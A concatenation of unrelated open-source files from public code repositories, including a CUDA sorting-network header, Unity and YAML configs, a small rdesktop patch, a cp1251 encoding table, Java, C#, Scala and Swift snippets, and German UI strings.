mgpu::swap(values[i], values[i + 1]);
}
OddEvenTransposeSortT<I + 1, VT>::Sort(keys, values, flags, comp);
}
};
template<int I> struct OddEvenTransposeSortT<I, I> {
template<typename K, typename V, typename Comp>
static MGPU_DEVICE void Sort(K* keys, V* values, int flags, Comp comp) { }
};
template<int VT, typename K, typename V, typename Comp>
MGPU_DEVICE void OddEvenTransposeSort(K* keys, V* values, Comp comp) {
OddEvenTransposeSortT<0, VT>::Sort(keys, values, 0, comp);
}
template<int VT, typename K, typename V, typename Comp>
MGPU_DEVICE void OddEvenTransposeSortFlags(K* keys, V* values, int flags,
Comp comp) {
OddEvenTransposeSortT<0, VT>::Sort(keys, values, flags, comp);
}
////////////////////////////////////////////////////////////////////////////////
// Batcher Odd-Even Mergesort network
// Unstable but executes much faster than the transposition sort.
// http://en.wikipedia.org/wiki/Batcher_odd%E2%80%93even_mergesort
template<int Width, int Low, int Count>
struct OddEvenMergesortT {
template<typename K, typename V, typename Comp>
MGPU_DEVICE static void CompareAndSwap(K* keys, V* values, int flags,
int a, int b, Comp comp) {
if(b < Count) {
// Mask the bits between a and b. Any head flags in this interval
// means the keys are in different segments and must not be swapped.
const int Mask = ((2<< b) - 1) ^ ((2<< a) - 1);
if(!(Mask & flags) && comp(keys[b], keys[a])) {
mgpu::swap(keys[b], keys[a]);
mgpu::swap(values[b], values[a]);
}
}
}
template<int R, int Low2, bool Recurse = 2 * R < Width>
struct OddEvenMerge {
template<typename K, typename V, typename Comp>
MGPU_DEVICE static void Merge(K* keys, V* values, int flags,
Comp comp) {
// Compare and swap
const int M = 2 * R;
OddEvenMerge<M, Low2>::Merge(keys, values, flags, comp);
OddEvenMerge<M, Low2 + R>::Merge(keys, values, flags, comp);
#pragma unroll
for(int i = Low2 + R; i + R < Low2 + Width; i += M)
CompareAndSwap(keys, values, flags, i, i + R, comp);
}
};
template<int R, int Low2>
struct OddEvenMerge<R, Low2, false> {
template<typename K, typename V, typename Comp>
MGPU_DEVICE static void Merge(K* keys, V* values, int flags,
Comp comp) {
CompareAndSwap(keys, values, flags, Low2, Low2 + R, comp);
}
};
template<typename K, typename V, typename Comp>
MGPU_DEVICE static void Sort(K* keys, V* values, int flags,
Comp comp) {
const int M = Width / 2;
OddEvenMergesortT<M, Low, Count>::Sort(keys, values, flags, comp);
OddEvenMergesortT<M, Low + M, Count>::Sort(keys, values, flags, comp);
OddEvenMerge<1, Low>::Merge(keys, values, flags, comp);
}
};
template<int Low, int Count> struct OddEvenMergesortT<1, Low, Count> {
template<typename K, typename V, typename Comp>
MGPU_DEVICE static void Sort(K* keys, V* values, int flags,
Comp comp) { }
};
template<int VT, typename K, typename V, typename Comp>
MGPU_DEVICE void OddEvenMergesort(K* keys, V* values, Comp comp) {
const int Width = 1<< sLogPow2<VT, true>::value;
OddEvenMergesortT<Width, 0, VT>::Sort(keys, values, 0, comp);
}
template<int VT, typename K, typename V, typename Comp>
MGPU_DEVICE void OddEvenMergesortFlags(K* keys, V* values, int flags,
Comp comp) {
const int Width = 1<< sLogPow2<VT, true>::value;
OddEvenMergesortT<Width, 0, VT>::Sort(keys, values, flags, comp);
}
} // namespace mgpu
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: 3ac02e7e783571c468f9c086d2384ba7
timeCreated: 1485107928
licenseType: Store
TextureImporter:
fileIDToRecycleName: {}
serializedVersion: 4
mipmaps:
mipMapMode: 0
enableMipMap: 0
sRGBTexture: 0
linearTexture: 0
fadeOut: 0
borderMipMap: 0
mipMapFadeDistanceStart: 1
mipMapFadeDistanceEnd: 3
bumpmap:
convertToNormalMap: 0
externalNormalMap: 0
heightScale: 0.25
normalMapFilter: 0
isReadable: 0
grayScaleToAlpha: 0
generateCubemap: 6
cubemapConvolution: 0
seamlessCubemap: 0
textureFormat: 1
maxTextureSize: 2048
textureSettings:
filterMode: 0
aniso: -1
mipBias: -1
wrapMode: 0
nPOTScale: 1
lightmap: 0
compressionQuality: 50
spriteMode: 0
spriteExtrude: 1
spriteMeshType: 1
alignment: 0
spritePivot: {x: 0.5, y: 0.5}
spriteBorder: {x: 0, y: 0, z: 0, w: 0}
spritePixelsToUnits: 100
alphaUsage: 2
alphaIsTransparency: 0
spriteTessellationDetail: -1
textureType: 10
textureShape: 1
maxTextureSizeSet: 0
compressionQualitySet: 0
textureFormatSet: 0
platformSettings:
- buildTarget: DefaultTexturePlatform
maxTextureSize: 64
textureFormat: -1
textureCompression: 0
compressionQuality: 50
crunchedCompression: 0
allowsAlphaSplitting: 0
overridden: 0
- buildTarget: Standalone
maxTextureSize: 64
textureFormat: -1
textureCompression: 0
compressionQuality: 50
crunchedCompression: 0
allowsAlphaSplitting: 0
overridden: 0
spriteSheet:
serializedVersion: 2
sprites: []
outline: []
spritePackingTag:
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
namespace Tweetinvi.Core.Models.Properties
{
public class FailedAsyncOperation<T> : AsyncOperation<T>
{
public FailedAsyncOperation()
{
Success = false;
}
}
public class AsyncOperation<T>
{
public AsyncOperation()
{
Success = true;
}
public bool Success { get; set; }
public T Result { get; set; }
}
}
| {
"pile_set_name": "Github"
} |
diff -Naur rdesktop-1.5.0.orig/xwin.c rdesktop-1.5.0/xwin.c
--- rdesktop-1.5.0.orig/xwin.c 2006-08-07 07:45:44.000000000 -0400
+++ rdesktop-1.5.0/xwin.c 2007-04-16 14:31:44.020671046 -0400
@@ -3219,7 +3219,7 @@
return;
image = XCreateImage(g_display, g_visual, g_depth, ZPixmap, 0,
- (char *) data, cx, cy, BitmapPad(g_display), cx * g_bpp / 8);
+ (char *) data, cx, cy, g_bpp, cx * g_bpp / 8);
if (g_ownbackstore)
{
| {
"pile_set_name": "Github"
} |
# -----------------------------------------
# Auto-generated marketstore configuration.
# -----------------------------------------
# root directory of the database
root_directory: data
# listen port - the port exposed by the database server for JSON-RPC API
listen_port: 5993
# grpc_listen port - the port exposed by the database server for GRPC API
grpc_listen_port: 5995
# log level (info|warn|error)
log_level: info
# queryable - allows the database to be queried through a client connection
queryable: true
#
stop_grace_period: 0
#
wal_rotate_interval: 5
#
enable_add: true
#
enable_remove: false
#
enable_last_known: false
#
# timezone: "America/New_York"
#
# Optional listen host for database server
# listen_host: "localhost"
#
# Enable debugging pprof and heartbeat endpoints
# utilities_url: "localhost:5994"
# ----------------------------------------
# Example trigger modules
#
# Un-comment to enable.
# ----------------------------------------
#
# triggers:
# - module: ondiskagg.so
# on: "*/1Min/OHLCV"
# config:
# destinations:
# - 5Min
# - 15Min
# - 1H
# - 1D
# - module: stream.so
# on: "*/*/*"
# config:
# filter: nasdaq
# bgworkers:
# - module: gdaxfeeder.so
# name: GdaxFetcher
# config:
# query_start: "2017-09-01 00:00"
# - module: polygon.so
# name: Polygon
# config:
# api_key: your_api_key
# base_url: https://api.polygon.io
# symbols:
# - AAPL
# - SPY
# - module: bitmexfeeder.so
# name: BitmexFeeder
# config:
# query_start: "2017-01-01 00:00"
# symbols:
# - .XBT
# base_timeframe: "5Min"
| {
"pile_set_name": "Github"
} |
# Event 61221 - Shell32_SyncIntegration_Manager_GetStatus
###### Version: 0
## Description
None
## Data Dictionary
|Standard Name|Field Name|Type|Description|Sample Value|
|---|---|---|---|---|
|TBD|CLSID|GUID|None|`None`|
|TBD|ItemPath|UnicodeString|None|`None`|
## Tags
* etw_level_Warning
* etw_keywords_Shell
* etw_task_Shell32_SyncIntegration_Manager_GetStatus | {
"pile_set_name": "Github"
} |
#ifndef _RAID0_H
#define _RAID0_H
struct strip_zone
{
sector_t zone_end; /* Start of the next zone (in sectors) */
sector_t dev_start; /* Zone offset in real dev (in sectors) */
int nb_dev; /* # of devices attached to the zone */
};
struct raid0_private_data
{
struct strip_zone *strip_zone;
mdk_rdev_t **devlist; /* lists of rdevs, pointed to by strip_zone->dev */
int nr_strip_zones;
};
typedef struct raid0_private_data raid0_conf_t;
#endif
| {
"pile_set_name": "Github"
} |
ERR_EXTERNAL_LINK_VALIDATION_0 =Bei der Validierung externer Links ist ein Fehler aufgetreten.
GUI_CHECK_INTERNAL_LINK_HELP_0 =Klicken Sie hier, um interne Links zu validieren.
GUI_CHECK_INTERNAL_LINK_NAME_0 =Validierung Interner Links
GUI_EXTERNALLINK_ADMIN_TOOL_GROUP_0 =Link-Validierung
GUI_EXTERNALLINK_ADMIN_TOOL_HELP_0 =Klicken Sie hier, um externe Links zu validieren.
GUI_EXTERNALLINK_ADMIN_TOOL_NAME_0 =Validierung Externer Links
GUI_EXTERNALLINK_CHECK_VIEW_RESULTS_GROUP_0 =Validierung Externer Links
GUI_EXTERNALLINK_CHECK_VIEW_RESULTS_HELP_0 =Klicken Sie hier, um die Ergebnisse der letzten Validierung zu betrachten.
GUI_EXTERNALLINK_CHECK_VIEW_RESULTS_NAME_0 =Ergebnisse der letzen Validierung
GUI_LINK_ADMIN_TOOL_GROUP_0 =Administration
GUI_LINK_ADMIN_TOOL_HELP_0 =Klicken Sie hier, um interne oder externe Links zu validieren.
GUI_LINK_ADMIN_TOOL_NAME_0 =Link Validierung
GUI_INTERNALLINK_EDITOR_LABEL_BLOCK_0 =Wählen Sie die Ressourcen, für die die internen Links geprüft werden sollen
GUI_NEW_EXTERNAL_LINK_CHECK_GROUP_0 =Validierung Externer Links
GUI_NEW_EXTERNAL_LINK_CHECK_HELP_0 =Klicken Sie hier, um externe Links erneut zu validieren.
GUI_NEW_EXTERNAL_LINK_CHECK_NAME_0 =Externe Links Validieren
GUI_NO_VALIDATION_YET_0 =Die externen Links wurden noch nicht validiert.
GUI_VALIDATE_EXTERNAL_LINKS_CONFIRMATION_0 =Klicken Sie auf "OK", um externe Links zu validieren, oder auf "Abbrechen" um zurückzukehren.
GUI_BROKENLINKS_LIST_NAME_0 =Report über tote Links
GUI_BROKENLINKS_DETAIL_LINKS_NAME_0 =Tote Links
GUI_BROKENLINKS_DETAIL_SHOW_LINKS_NAME_0 =Tote Links
GUI_BROKENLINKS_DETAIL_SHOW_LINKS_HELP_0 =Klicken sie hier, um die ungültigen Links zu sehen.
GUI_BROKENLINKS_DETAIL_HIDE_LINKS_NAME_0 =Tote Links
GUI_BROKENLINKS_DETAIL_HIDE_LINKS_HELP_0 =Klicken Sie hier, um die ungültigen Links auszublenden.
GUI_BROKENLINKS_NOTICE_0 =Hinweis
GUI_BROKENLINKS_NOT_VISIBLE_RESOURCES_1 =Bitte beachten Sie, dass unter den markierten Ressourcen einige Ressourcen sind, die Sie nicht sehen/lesen können. Es sind {0} zusätzliche unsichtbare Ressourcen mit ungültigen Links vorhanden.
GUI_CHECK_INTERNAL_LINK_LIST_NAME_0 =Report über tote Links
GUI_CHECK_INTERNAL_LINK_LIST_HELP_0 =Hier können sie die Ressourcen mit ungültigen Links bearbeiten.
label.internallinks.resources =Ressourcen
label.internallinks.resources.help =Markieren Sie die Dateien und Ordner, um nach toten Links zu suchen.
label.LinkDefinition.link =Linkpfad
label.LinkDefinition.link.help =Hier eingegebene Links werden vom der internen Linkprüfung ausgenommen und als externe Links angesehen. | {
"pile_set_name": "Github"
} |
#
# Name: cp1251 to Unicode table
# Unicode version: 2.0
# Table version: 2.01
# Table format: Format A
# Date: 04/15/98
#
# Contact: [email protected]
#
# General notes: none
#
# Format: Three tab-separated columns
# Column #1 is the cp1251 code (in hex)
# Column #2 is the Unicode (in hex as 0xXXXX)
# Column #3 is the Unicode name (follows a comment sign, '#')
#
# The entries are in cp1251 order
#
0x00 0x0000 #NULL
0x01 0x0001 #START OF HEADING
0x02 0x0002 #START OF TEXT
0x03 0x0003 #END OF TEXT
0x04 0x0004 #END OF TRANSMISSION
0x05 0x0005 #ENQUIRY
0x06 0x0006 #ACKNOWLEDGE
0x07 0x0007 #BELL
0x08 0x0008 #BACKSPACE
0x09 0x0009 #HORIZONTAL TABULATION
0x0A 0x000A #LINE FEED
0x0B 0x000B #VERTICAL TABULATION
0x0C 0x000C #FORM FEED
0x0D 0x000D #CARRIAGE RETURN
0x0E 0x000E #SHIFT OUT
0x0F 0x000F #SHIFT IN
0x10 0x0010 #DATA LINK ESCAPE
0x11 0x0011 #DEVICE CONTROL ONE
0x12 0x0012 #DEVICE CONTROL TWO
0x13 0x0013 #DEVICE CONTROL THREE
0x14 0x0014 #DEVICE CONTROL FOUR
0x15 0x0015 #NEGATIVE ACKNOWLEDGE
0x16 0x0016 #SYNCHRONOUS IDLE
0x17 0x0017 #END OF TRANSMISSION BLOCK
0x18 0x0018 #CANCEL
0x19 0x0019 #END OF MEDIUM
0x1A 0x001A #SUBSTITUTE
0x1B 0x001B #ESCAPE
0x1C 0x001C #FILE SEPARATOR
0x1D 0x001D #GROUP SEPARATOR
0x1E 0x001E #RECORD SEPARATOR
0x1F 0x001F #UNIT SEPARATOR
0x20 0x0020 #SPACE
0x21 0x0021 #EXCLAMATION MARK
0x22 0x0022 #QUOTATION MARK
0x23 0x0023 #NUMBER SIGN
0x24 0x0024 #DOLLAR SIGN
0x25 0x0025 #PERCENT SIGN
0x26 0x0026 #AMPERSAND
0x27 0x0027 #APOSTROPHE
0x28 0x0028 #LEFT PARENTHESIS
0x29 0x0029 #RIGHT PARENTHESIS
0x2A 0x002A #ASTERISK
0x2B 0x002B #PLUS SIGN
0x2C 0x002C #COMMA
0x2D 0x002D #HYPHEN-MINUS
0x2E 0x002E #FULL STOP
0x2F 0x002F #SOLIDUS
0x30 0x0030 #DIGIT ZERO
0x31 0x0031 #DIGIT ONE
0x32 0x0032 #DIGIT TWO
0x33 0x0033 #DIGIT THREE
0x34 0x0034 #DIGIT FOUR
0x35 0x0035 #DIGIT FIVE
0x36 0x0036 #DIGIT SIX
0x37 0x0037 #DIGIT SEVEN
0x38 0x0038 #DIGIT EIGHT
0x39 0x0039 #DIGIT NINE
0x3A 0x003A #COLON
0x3B 0x003B #SEMICOLON
0x3C 0x003C #LESS-THAN SIGN
0x3D 0x003D #EQUALS SIGN
0x3E 0x003E #GREATER-THAN SIGN
0x3F 0x003F #QUESTION MARK
0x40 0x0040 #COMMERCIAL AT
0x41 0x0041 #LATIN CAPITAL LETTER A
0x42 0x0042 #LATIN CAPITAL LETTER B
0x43 0x0043 #LATIN CAPITAL LETTER C
0x44 0x0044 #LATIN CAPITAL LETTER D
0x45 0x0045 #LATIN CAPITAL LETTER E
0x46 0x0046 #LATIN CAPITAL LETTER F
0x47 0x0047 #LATIN CAPITAL LETTER G
0x48 0x0048 #LATIN CAPITAL LETTER H
0x49 0x0049 #LATIN CAPITAL LETTER I
0x4A 0x004A #LATIN CAPITAL LETTER J
0x4B 0x004B #LATIN CAPITAL LETTER K
0x4C 0x004C #LATIN CAPITAL LETTER L
0x4D 0x004D #LATIN CAPITAL LETTER M
0x4E 0x004E #LATIN CAPITAL LETTER N
0x4F 0x004F #LATIN CAPITAL LETTER O
0x50 0x0050 #LATIN CAPITAL LETTER P
0x51 0x0051 #LATIN CAPITAL LETTER Q
0x52 0x0052 #LATIN CAPITAL LETTER R
0x53 0x0053 #LATIN CAPITAL LETTER S
0x54 0x0054 #LATIN CAPITAL LETTER T
0x55 0x0055 #LATIN CAPITAL LETTER U
0x56 0x0056 #LATIN CAPITAL LETTER V
0x57 0x0057 #LATIN CAPITAL LETTER W
0x58 0x0058 #LATIN CAPITAL LETTER X
0x59 0x0059 #LATIN CAPITAL LETTER Y
0x5A 0x005A #LATIN CAPITAL LETTER Z
0x5B 0x005B #LEFT SQUARE BRACKET
0x5C 0x005C #REVERSE SOLIDUS
0x5D 0x005D #RIGHT SQUARE BRACKET
0x5E 0x005E #CIRCUMFLEX ACCENT
0x5F 0x005F #LOW LINE
0x60 0x0060 #GRAVE ACCENT
0x61 0x0061 #LATIN SMALL LETTER A
0x62 0x0062 #LATIN SMALL LETTER B
0x63 0x0063 #LATIN SMALL LETTER C
0x64 0x0064 #LATIN SMALL LETTER D
0x65 0x0065 #LATIN SMALL LETTER E
0x66 0x0066 #LATIN SMALL LETTER F
0x67 0x0067 #LATIN SMALL LETTER G
0x68 0x0068 #LATIN SMALL LETTER H
0x69 0x0069 #LATIN SMALL LETTER I
0x6A 0x006A #LATIN SMALL LETTER J
0x6B 0x006B #LATIN SMALL LETTER K
0x6C 0x006C #LATIN SMALL LETTER L
0x6D 0x006D #LATIN SMALL LETTER M
0x6E 0x006E #LATIN SMALL LETTER N
0x6F 0x006F #LATIN SMALL LETTER O
0x70 0x0070 #LATIN SMALL LETTER P
0x71 0x0071 #LATIN SMALL LETTER Q
0x72 0x0072 #LATIN SMALL LETTER R
0x73 0x0073 #LATIN SMALL LETTER S
0x74 0x0074 #LATIN SMALL LETTER T
0x75 0x0075 #LATIN SMALL LETTER U
0x76 0x0076 #LATIN SMALL LETTER V
0x77 0x0077 #LATIN SMALL LETTER W
0x78 0x0078 #LATIN SMALL LETTER X
0x79 0x0079 #LATIN SMALL LETTER Y
0x7A 0x007A #LATIN SMALL LETTER Z
0x7B 0x007B #LEFT CURLY BRACKET
0x7C 0x007C #VERTICAL LINE
0x7D 0x007D #RIGHT CURLY BRACKET
0x7E 0x007E #TILDE
0x7F 0x007F #DELETE
0x80 0x0402 #CYRILLIC CAPITAL LETTER DJE
0x81 0x0403 #CYRILLIC CAPITAL LETTER GJE
0x82 0x201A #SINGLE LOW-9 QUOTATION MARK
0x83 0x0453 #CYRILLIC SMALL LETTER GJE
0x84 0x201E #DOUBLE LOW-9 QUOTATION MARK
0x85 0x2026 #HORIZONTAL ELLIPSIS
0x86 0x2020 #DAGGER
0x87 0x2021 #DOUBLE DAGGER
0x88 0x20AC #EURO SIGN
0x89 0x2030 #PER MILLE SIGN
0x8A 0x0409 #CYRILLIC CAPITAL LETTER LJE
0x8B 0x2039 #SINGLE LEFT-POINTING ANGLE QUOTATION MARK
0x8C 0x040A #CYRILLIC CAPITAL LETTER NJE
0x8D 0x040C #CYRILLIC CAPITAL LETTER KJE
0x8E 0x040B #CYRILLIC CAPITAL LETTER TSHE
0x8F 0x040F #CYRILLIC CAPITAL LETTER DZHE
0x90 0x0452 #CYRILLIC SMALL LETTER DJE
0x91 0x2018 #LEFT SINGLE QUOTATION MARK
0x92 0x2019 #RIGHT SINGLE QUOTATION MARK
0x93 0x201C #LEFT DOUBLE QUOTATION MARK
0x94 0x201D #RIGHT DOUBLE QUOTATION MARK
0x95 0x2022 #BULLET
0x96 0x2013 #EN DASH
0x97 0x2014 #EM DASH
0x98 #UNDEFINED
0x99 0x2122 #TRADE MARK SIGN
0x9A 0x0459 #CYRILLIC SMALL LETTER LJE
0x9B 0x203A #SINGLE RIGHT-POINTING ANGLE QUOTATION MARK
0x9C 0x045A #CYRILLIC SMALL LETTER NJE
0x9D 0x045C #CYRILLIC SMALL LETTER KJE
0x9E 0x045B #CYRILLIC SMALL LETTER TSHE
0x9F 0x045F #CYRILLIC SMALL LETTER DZHE
0xA0 0x00A0 #NO-BREAK SPACE
0xA1 0x040E #CYRILLIC CAPITAL LETTER SHORT U
0xA2 0x045E #CYRILLIC SMALL LETTER SHORT U
0xA3 0x0408 #CYRILLIC CAPITAL LETTER JE
0xA4 0x00A4 #CURRENCY SIGN
0xA5 0x0490 #CYRILLIC CAPITAL LETTER GHE WITH UPTURN
0xA6 0x00A6 #BROKEN BAR
0xA7 0x00A7 #SECTION SIGN
0xA8 0x0401 #CYRILLIC CAPITAL LETTER IO
0xA9 0x00A9 #COPYRIGHT SIGN
0xAA 0x0404 #CYRILLIC CAPITAL LETTER UKRAINIAN IE
0xAB 0x00AB #LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
0xAC 0x00AC #NOT SIGN
0xAD 0x00AD #SOFT HYPHEN
0xAE 0x00AE #REGISTERED SIGN
0xAF 0x0407 #CYRILLIC CAPITAL LETTER YI
0xB0 0x00B0 #DEGREE SIGN
0xB1 0x00B1 #PLUS-MINUS SIGN
0xB2 0x0406 #CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I
0xB3 0x0456 #CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I
0xB4 0x0491 #CYRILLIC SMALL LETTER GHE WITH UPTURN
0xB5 0x00B5 #MICRO SIGN
0xB6 0x00B6 #PILCROW SIGN
0xB7 0x00B7 #MIDDLE DOT
0xB8 0x0451 #CYRILLIC SMALL LETTER IO
0xB9 0x2116 #NUMERO SIGN
0xBA 0x0454 #CYRILLIC SMALL LETTER UKRAINIAN IE
0xBB 0x00BB #RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
0xBC 0x0458 #CYRILLIC SMALL LETTER JE
0xBD 0x0405 #CYRILLIC CAPITAL LETTER DZE
0xBE 0x0455 #CYRILLIC SMALL LETTER DZE
0xBF 0x0457 #CYRILLIC SMALL LETTER YI
0xC0 0x0410 #CYRILLIC CAPITAL LETTER A
0xC1 0x0411 #CYRILLIC CAPITAL LETTER BE
0xC2 0x0412 #CYRILLIC CAPITAL LETTER VE
0xC3 0x0413 #CYRILLIC CAPITAL LETTER GHE
0xC4 0x0414 #CYRILLIC CAPITAL LETTER DE
0xC5 0x0415 #CYRILLIC CAPITAL LETTER IE
0xC6 0x0416 #CYRILLIC CAPITAL LETTER ZHE
0xC7 0x0417 #CYRILLIC CAPITAL LETTER ZE
0xC8 0x0418 #CYRILLIC CAPITAL LETTER I
0xC9 0x0419 #CYRILLIC CAPITAL LETTER SHORT I
0xCA 0x041A #CYRILLIC CAPITAL LETTER KA
0xCB 0x041B #CYRILLIC CAPITAL LETTER EL
0xCC 0x041C #CYRILLIC CAPITAL LETTER EM
0xCD 0x041D #CYRILLIC CAPITAL LETTER EN
0xCE 0x041E #CYRILLIC CAPITAL LETTER O
0xCF 0x041F #CYRILLIC CAPITAL LETTER PE
0xD0 0x0420 #CYRILLIC CAPITAL LETTER ER
0xD1 0x0421 #CYRILLIC CAPITAL LETTER ES
0xD2 0x0422 #CYRILLIC CAPITAL LETTER TE
0xD3 0x0423 #CYRILLIC CAPITAL LETTER U
0xD4 0x0424 #CYRILLIC CAPITAL LETTER EF
0xD5 0x0425 #CYRILLIC CAPITAL LETTER HA
0xD6 0x0426 #CYRILLIC CAPITAL LETTER TSE
0xD7 0x0427 #CYRILLIC CAPITAL LETTER CHE
0xD8 0x0428 #CYRILLIC CAPITAL LETTER SHA
0xD9 0x0429 #CYRILLIC CAPITAL LETTER SHCHA
0xDA 0x042A #CYRILLIC CAPITAL LETTER HARD SIGN
0xDB 0x042B #CYRILLIC CAPITAL LETTER YERU
0xDC 0x042C #CYRILLIC CAPITAL LETTER SOFT SIGN
0xDD 0x042D #CYRILLIC CAPITAL LETTER E
0xDE 0x042E #CYRILLIC CAPITAL LETTER YU
0xDF 0x042F #CYRILLIC CAPITAL LETTER YA
0xE0 0x0430 #CYRILLIC SMALL LETTER A
0xE1 0x0431 #CYRILLIC SMALL LETTER BE
0xE2 0x0432 #CYRILLIC SMALL LETTER VE
0xE3 0x0433 #CYRILLIC SMALL LETTER GHE
0xE4 0x0434 #CYRILLIC SMALL LETTER DE
0xE5 0x0435 #CYRILLIC SMALL LETTER IE
0xE6 0x0436 #CYRILLIC SMALL LETTER ZHE
0xE7 0x0437 #CYRILLIC SMALL LETTER ZE
0xE8 0x0438 #CYRILLIC SMALL LETTER I
0xE9 0x0439 #CYRILLIC SMALL LETTER SHORT I
0xEA 0x043A #CYRILLIC SMALL LETTER KA
0xEB 0x043B #CYRILLIC SMALL LETTER EL
0xEC 0x043C #CYRILLIC SMALL LETTER EM
0xED 0x043D #CYRILLIC SMALL LETTER EN
0xEE 0x043E #CYRILLIC SMALL LETTER O
0xEF 0x043F #CYRILLIC SMALL LETTER PE
0xF0 0x0440 #CYRILLIC SMALL LETTER ER
0xF1 0x0441 #CYRILLIC SMALL LETTER ES
0xF2 0x0442 #CYRILLIC SMALL LETTER TE
0xF3 0x0443 #CYRILLIC SMALL LETTER U
0xF4 0x0444 #CYRILLIC SMALL LETTER EF
0xF5 0x0445 #CYRILLIC SMALL LETTER HA
0xF6 0x0446 #CYRILLIC SMALL LETTER TSE
0xF7 0x0447 #CYRILLIC SMALL LETTER CHE
0xF8 0x0448 #CYRILLIC SMALL LETTER SHA
0xF9 0x0449 #CYRILLIC SMALL LETTER SHCHA
0xFA 0x044A #CYRILLIC SMALL LETTER HARD SIGN
0xFB 0x044B #CYRILLIC SMALL LETTER YERU
0xFC 0x044C #CYRILLIC SMALL LETTER SOFT SIGN
0xFD 0x044D #CYRILLIC SMALL LETTER E
0xFE 0x044E #CYRILLIC SMALL LETTER YU
0xFF 0x044F #CYRILLIC SMALL LETTER YA
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2000-2018 Vaadin Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.vaadin.ui;
import com.vaadin.shared.ui.colorpicker.Color;
import com.vaadin.shared.ui.colorpicker.ColorPickerAreaState;
/**
* A class that defines area-like implementation for a color picker component.
*
* @since 7.0.0
*
* @see ColorPicker
*
*/
public class ColorPickerArea extends AbstractColorPicker {
/**
* Instantiates a new color picker.
*/
public ColorPickerArea() {
super();
}
/**
* Instantiates a new color picker.
*
* @param popupCaption
* caption of the color select popup
*/
public ColorPickerArea(String popupCaption) {
super(popupCaption);
}
/**
* Instantiates a new color picker.
*
* @param popupCaption
* caption of the color select popup
* @param initialColor
* the initial color
*/
public ColorPickerArea(String popupCaption, Color initialColor) {
super(popupCaption, initialColor);
setDefaultCaptionEnabled(false);
}
@Override
protected void setDefaultStyles() {
// state already has correct default
}
@Override
public void beforeClientResponse(boolean initial) {
super.beforeClientResponse(initial);
if ("".equals(getState().height)) {
getState().height = "30px";
}
if ("".equals(getState().width)) {
getState().width = "30px";
}
}
@Override
protected ColorPickerAreaState getState() {
return (ColorPickerAreaState) super.getState();
}
@Override
protected ColorPickerAreaState getState(boolean markAsDirty) {
return (ColorPickerAreaState) super.getState(markAsDirty);
}
}
| {
"pile_set_name": "Github"
} |
/**
******************************************************************************
* @file stm32f7xx_hal_sai_ex.c
* @author MCD Application Team
* @version V1.1.0
* @date 22-April-2016
* @brief Empty file; This file is no longer used to set synchronization and
* to get SAI block frequency. Its content is now moved to common files
* (stm32f7xx_hal_sai.c/.h) as there's no device's dependency within F7
* family. It's just kept for compatibility reasons.
*
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2016 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "stm32f7xx_hal.h"
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private function prototypes -----------------------------------------------*/
/* Private functions ---------------------------------------------------------*/
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2009-2020 Lightbend Inc. <https://www.lightbend.com>
*/
package akka.actor
import scala.concurrent.Await
import scala.concurrent.duration._
import akka.pattern.{ ask, AskTimeoutException }
import akka.testkit._
import akka.testkit.TestEvent._
import akka.util.Timeout
class ActorTimeoutSpec extends AkkaSpec {
val testTimeout = 200.millis.dilated
val leeway = 500.millis.dilated
system.eventStream.publish(Mute(EventFilter.warning(pattern = ".*unhandled message from.*hallo")))
"An Actor-based Future" must {
"use implicitly supplied timeout" in {
implicit val timeout = Timeout(testTimeout)
val echo = system.actorOf(Props.empty)
val f = (echo ? "hallo")
intercept[AskTimeoutException] { Await.result(f, testTimeout + leeway) }
}
"use explicitly supplied timeout" in {
val echo = system.actorOf(Props.empty)
val f = echo.?("hallo")(testTimeout)
intercept[AskTimeoutException] { Await.result(f, testTimeout + leeway) }
}
}
}
| {
"pile_set_name": "Github"
} |
__all__ = ['parsehelp', 'common', 'translationunitcache', 'clang']
| {
"pile_set_name": "Github"
} |
@testable import TestProject
class MultipleProtocolMock: ProtocolA, ProtocolB, ProtocolC {
<selection></selection>
}
| {
